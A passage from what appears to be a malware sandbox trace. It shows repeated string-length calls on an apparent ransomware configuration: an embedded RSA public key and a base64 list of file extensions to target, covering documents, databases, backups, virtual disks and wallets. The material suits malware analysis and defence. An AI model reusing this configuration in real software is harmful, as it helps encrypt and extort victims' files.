C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs